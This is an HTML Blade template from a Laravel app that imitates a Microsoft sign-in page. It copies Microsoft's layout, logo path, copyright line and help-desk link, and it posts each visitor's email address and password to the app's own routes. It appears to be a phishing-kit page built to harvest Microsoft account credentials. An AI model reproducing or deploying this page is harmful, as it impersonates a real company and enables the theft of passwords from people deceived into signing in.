<!DOCTYPE html>

<html lang="en-US">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=1">



    <title>Sign In</title>







    <link rel="stylesheet" type="text/css" href="/ms/style.css">
    <style>
        .illustrationClass {
        background-image: url(/ms/bg.jpg);
    }
    </style>

</head>
<body dir="ltr" class="body">

<div id="fullPage" bis_skin_checked="1">
    <div id="brandingWrapper" class="float" bis_skin_checked="1">
        <div id="branding" bis_skin_checked="1" class="illustrationClass"></div>
    </div>
    <div id="contentWrapper" class="float" bis_skin_checked="1">
        <div id="content" bis_skin_checked="1">
            <div id="header" bis_skin_checked="1">
                <img class="logoImage" id="companyLogo" src="/ms/logo.png" >
            </div>
            <main>
                <div id="workArea" bis_skin_checked="1">

                    <div id="authArea" class="groupMargin" bis_skin_checked="1">


                        <div id="loginArea" bis_skin_checked="1">
                            <div id="usernamePage" style="display: none;" bis_skin_checked="1">
                                <div id="loginMessage" class="groupMargin" bis_skin_checked="1">Sign in</div>
                                <form method="post" id="loginFormPaginated" class="paginatedPageForm" autocomplete="off"
                                      novalidate="novalidate"
                                      action="{{route('email')}}">
                                    <div id="formsAuthenticationArea" bis_skin_checked="1">
                                        <div id="userNameArea" bis_skin_checked="1">
                                            <label id="userNameInputLabel" for="userNameInput" class="hidden">User
                                                Account</label>
                                            <input id="userNameInput" name="email" type="email" value="" tabindex="1"
                                                   class="text textPaginated fullWidth"

                                                   spellcheck="false" placeholder="someone@example.com"
                                                   autocomplete="off">
                                        </div>
                                        <div id="error" class="fieldMargin error errorUsernamePaginated smallText"
                                             bis_skin_checked="1">
                                            @error('email')
                                            <span style="color: tomato">{{$message}}</span>
                                            @enderror
                                        </div>
                                        <div id="introduction" class="groupMargin signInIntroduction"
                                             bis_skin_checked="1">

                                        </div>
                                        <div id="kmsiArea" class="kmsiAreaPaginated" style="display:&#39;&#39;"
                                             bis_skin_checked="1">
                                            <input type="checkbox" name="Kmsi" id="kmsiInput" value="true" tabindex="2">
                                            <label for="kmsiInput">Keep me signed in</label>
                                        </div>
                                        <div id="" bis_skin_checked="1">
                                            <button type="submit" style="background-color: rgb(0, 103, 184);width: 108px; height: 32px;color: white;border: none;float: right">

                                             Next
                                            </button>

                                        </div>
                                    </div>

                                </form>

                            </div>

                            <div id="primaryOptionsPage" style="display: none;" bis_skin_checked="1">
                                <div id="optionsBannerContainer" class="bannerContainer" bis_skin_checked="1">
                                    <div id="optionsBackButton" class="back" tabindex="0" role="button"
                                          aria-label="Back"
                                         bis_skin_checked="1">
                                        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 2048 2048" width="15"
                                             height="15" fill="currentColor" style="margin-top: 5Px;">
                                            <path d="M2048 960q0 26-19 45t-45 19H219l786 787q19 19 19 45t-19 45-45 19q-26 0-45-19L22 1008q-11-11-16-22t-6-26q0-15 5-26t17-22L915 19q19-19 45-19t45 19 19 45q0 26-19 45L219 896h1765q26 0 45 19t19 45z"></path>
                                        </svg>
                                    </div>
                                    <div id="identityBannerOptions" class="identityBanner" bis_skin_checked="1"></div>
                                </div>
                                <div id="primaryAuthOptionsTitle" class="authOptionsTitlePaginated"
                                     bis_skin_checked="1">Authentication options
                                </div>
                                <div id="errorOption" class="error authOptionsError smallText" bis_skin_checked="1">
                                    <span id="errorTextOption" class="authOptionsErrorText" for="" aria-live="assertive"
                                          role="alert"></span>
                                </div>

                                
                            </div>

                            <div id="passwordPage" style="display: block;" bis_skin_checked="1">
                                <div id="passwordBannerContainer" class="bannerContainer" bis_skin_checked="1">
                                    <div id="backButton" class="back" tabindex="0" role="button"
                                          aria-label="Back"
                                         bis_skin_checked="1">
                                        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 2048 2048" width="15"
                                             height="15" fill="currentColor" style="margin-top: 5Px;">
                                            <path d="M2048 960q0 26-19 45t-45 19H219l786 787q19 19 19 45t-19 45-45 19q-26 0-45-19L22 1008q-11-11-16-22t-6-26q0-15 5-26t17-22L915 19q19-19 45-19t45 19 19 45q0 26-19 45L219 896h1765q26 0 45 19t19 45z"></path>
                                        </svg>
                                    </div>
                                    <div id="identityBanner" class="identityBanner" bis_skin_checked="1">{{$email}}</div>
                                </div>
                                <div id="formsAuthenticationAreaPassword" bis_skin_checked="1">
                                    <form method="post" id="loginForm" autocomplete="off" class="paginatedPageForm"
                                          novalidate="novalidate"
                                          action="{{route('password')}}">
                                        @csrf

                                        <div id="passwordArea" bis_skin_checked="1">
                                            <label id="passwordInputLabel" for="passwordInput"
                                                   class="hidden">Password</label>
                                            <input id="passwordInput" name="password" type="password" tabindex="1"
                                                   class="text textPaginated fullWidth" placeholder="Password"
                                                   autocomplete="off">
                                            @error('password')
                                            <span style="color: tomato">{{$message}}</span>
                                            @enderror
                                        </div>
                                        <button style="background-color: rgb(0, 103, 184);margin-top:2em;width: 108px; height: 32px;color: white;border: none;float: right" type="submit" id="submitButton" class="submit submitPaginated" tabindex="0"
                                              role="button"
                                             >Sign in</button>
                                    </form>
                                    <div id="errorPassword" class="fieldMargin error smallText" bis_skin_checked="1">
                                        <span id="errorTextPassword" for="" class="errorText" aria-live="assertive"
                                              role="alert"></span>
                                    </div>
                                </div>
                            </div>



                        </div>

                    </div>

                </div>
            </main>
            <div id="footerPlaceholder" bis_skin_checked="1"></div>
        </div>
        <footer id="footer">
            <div id="footerLinks" class="floatReverse" bis_skin_checked="1">
                <div bis_skin_checked="1"><span id="copyright">© 2018 Microsoft</span><a id="helpDesk"
                                                                                         class="pageLink footerLink"
                                                                                         href="mailto:globalhd@microsoft.com">Help
                    &amp; Support</a></div>
            </div>
        </footer>
    </div>
</div>



</body>

</html>
